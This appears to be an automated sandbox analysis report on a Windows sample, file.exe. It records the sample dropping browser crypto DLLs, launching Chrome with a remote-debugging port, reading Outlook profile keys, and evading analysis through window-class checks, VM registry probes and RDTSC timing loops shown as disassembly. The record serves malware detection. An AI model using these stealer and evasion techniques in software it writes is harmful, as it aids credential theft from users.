Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2428,i,9357800286788744826,14473933952351811652,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2428,i,9357800286788744826,14473933952351811652,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2125312 > 1048576

Source: file.exe

Static PE information: Raw size of hahemwbo is bigger than: 0x100000 < 0x19be00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2098837860.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2098609810.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1723219134.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2098609810.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1723219134.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2098837860.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.2a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;hahemwbo:EW;pummyztg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;hahemwbo:EW;pummyztg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x21218a should be: 0x213be1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hahemwbo
Source: file.exe	Static PE information: section name: pummyztg
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: hahemwbo entropy: 7.9538177425653664

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9C4C second address: 6F9C68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0160DBD2C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9C68 second address: 6F9C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CF6C second address: 70CF8A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0160DBD2C5h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F0160DBD2BDh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CF8A second address: 70CFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DEF336h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jp 00007F0160DEF32Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CFAF second address: 70CFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CFB3 second address: 70CFBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0160DEF326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D137 second address: 70D13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D13F second address: 70D147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D147 second address: 70D187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F0160DBD2BCh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 ja 00007F0160DBD2F0h 0x0000001b pushad 0x0000001c push esi 0x0000001d pop esi 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 push edi 0x00000023 pop edi 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0160DBD2C0h 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D187 second address: 70D19D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF332h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D2F5 second address: 70D320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F0160DBD2B6h 0x00000010 jmp 00007F0160DBD2C1h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D320 second address: 70D330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D330 second address: 70D334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D334 second address: 70D35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0160DEF34Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0160DEF339h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D35D second address: 70D361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D520 second address: 70D524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D524 second address: 70D52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D52A second address: 70D530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D530 second address: 70D536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D536 second address: 70D53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D53A second address: 70D556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2BFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D556 second address: 70D55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D828 second address: 70D840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0160DBD2C2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D840 second address: 70D854 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0160DEF32Bh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D9D9 second address: 70D9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D9E5 second address: 70D9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FEF1 second address: 70FF1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F0160DBD2C3h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jc 00007F0160DBD2B6h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71004B second address: 710063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DEF334h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710063 second address: 7100EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 1A7FBE70h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F0160DBD2B8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edi, esi 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F0160DBD2B8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov esi, dword ptr [ebp+122D38F7h] 0x0000004d push 00000000h 0x0000004f mov edx, esi 0x00000051 jc 00007F0160DBD2BCh 0x00000057 mov esi, dword ptr [ebp+122D369Bh] 0x0000005d push 00000003h 0x0000005f mov edx, dword ptr [ebp+122D18E5h] 0x00000065 call 00007F0160DBD2B9h 0x0000006a pushad 0x0000006b ja 00007F0160DBD2B8h 0x00000071 pushad 0x00000072 jp 00007F0160DBD2B6h 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7100EE second address: 710111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0160DEF339h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710111 second address: 71011B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71011B second address: 71011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71011F second address: 710134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F0160DBD2B8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710134 second address: 710139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710139 second address: 710150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F0160DBD2BCh 0x00000011 jnc 00007F0160DBD2B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710329 second address: 71032F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7103BC second address: 7103C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7103C2 second address: 710410 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f stc 0x00000010 push 00000000h 0x00000012 jmp 00007F0160DEF334h 0x00000017 call 00007F0160DEF329h 0x0000001c push ebx 0x0000001d jmp 00007F0160DEF332h 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push esi 0x00000025 pushad 0x00000026 jne 00007F0160DEF326h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710410 second address: 71041E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71041E second address: 710445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0160DEF326h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F0160DEF32Eh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710445 second address: 71044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71044A second address: 710450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710450 second address: 7104F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov dword ptr [ebp+122D1C25h], ecx 0x00000012 push 00000003h 0x00000014 sub dword ptr [ebp+122D25C8h], ebx 0x0000001a mov dword ptr [ebp+122D1C25h], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F0160DBD2B8h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c mov dh, bl 0x0000003e push 00000003h 0x00000040 mov dword ptr [ebp+122D25C8h], eax 0x00000046 push 81010853h 0x0000004b jo 00007F0160DBD2BCh 0x00000051 pushad 0x00000052 push edi 0x00000053 pop edi 0x00000054 pushad 0x00000055 popad 0x00000056 popad 0x00000057 xor dword ptr [esp], 41010853h 0x0000005e lea ebx, dword ptr [ebp+12455E4Bh] 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 jmp 00007F0160DBD2BEh 0x0000006b pop eax 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 js 00007F0160DBD2B6h 0x00000076 jmp 00007F0160DBD2BBh 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731521 second address: 731527 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731527 second address: 73153E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0160DBD2C1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73153E second address: 73155C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0160DEF339h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
